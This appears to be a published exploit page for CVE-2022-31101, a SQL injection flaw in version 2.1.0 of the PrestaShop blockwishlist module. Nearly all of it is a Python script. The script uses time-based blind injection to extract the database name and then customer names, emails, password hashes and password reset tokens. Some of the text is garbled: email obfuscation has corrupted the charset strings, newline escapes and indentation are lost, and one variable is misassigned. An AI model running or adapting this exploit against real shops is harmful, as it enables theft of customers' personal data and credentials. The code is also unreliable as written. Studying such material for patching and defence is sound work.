Authored by Karthik UJ

Prestashop Blockwishlist module version 2.1.0 suffers from a remote SQL injection vulnerability.

advisories | CVE-2022-31101

# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101


# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop

import requests

url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:n")

header = {
"Cookie": cookie
}

# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = '[email protected]!#$%&'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'a[email protected]!#$%&'*+/=?^`{|}~.'
emailCharset = list(emailCharset)


# Query current database name length
print("nFinding db name's length:")
for length in range(1, 65):
condition = "LENGTH(database())=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
dbLength=length
print("Length: ", length, end='')
print("n")
break

print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
for char in charset:
condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
fullUrl = url + param + staticStart + condition + staticEnd

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
databaseName += char
break
print()

# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"

print("nEnumerating " + tableName + " table")

for id in range(1, 10):

condition = "id_customer=" + str(id)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
print("nOnly " + str(id - 1) + " records found. Exiting...")
break
except requests.exceptions.Timeout:
pass

print("nid = " + str(id))

# Finding firstname length
for length in range(0, 100):
condition = "LENGTH(firstname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
firstnameLength=length
print("Firstname length: ", length, end='')
print()
break


# Enumerate firstname
firstname = ''
print("Firstname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()

# Finding lastname length
for length in range(1, 100):
condition = "LENGTH(lastname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
lastnameLength=length
print("Lastname length: ", length, end='')
print()
break

# Enumerate lastname
lastname = ''
print("Lastname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()

# Finding email length
for length in range(1, 320):
condition = "LENGTH(email)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
emailLength=length
print("Email length: ", length, end='')
print()
break

# Enumerate email
email = ''
print("Email: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
email += char
except requests.exceptions.Timeout:
print(char, end='')
email += char
break
print()

# Finding password hash length
for length in range(1, 500):
condition = "LENGTH(passwd)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordHashLength=length
print("Password hash length: ", length, end='')
print()
break

# Enumerate password hash
passwordHash = ''
print("Password hash: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordHash += char
except requests.exceptions.Timeout:
print(char, end='')
passwordHash += char
break
print()

# Finding password reset token length
for length in range(0, 500):
condition = "LENGTH(reset_password_token)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordResetTokenLength=length
print("Password reset token length: ", length, end='')
print()
break

# Enumerate password reset token
passwordResetToken = ''
print("Password reset token: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordResetToken += char
except requests.exceptions.Timeout:
print(char, end='')
passwordResetToken += char
break
print()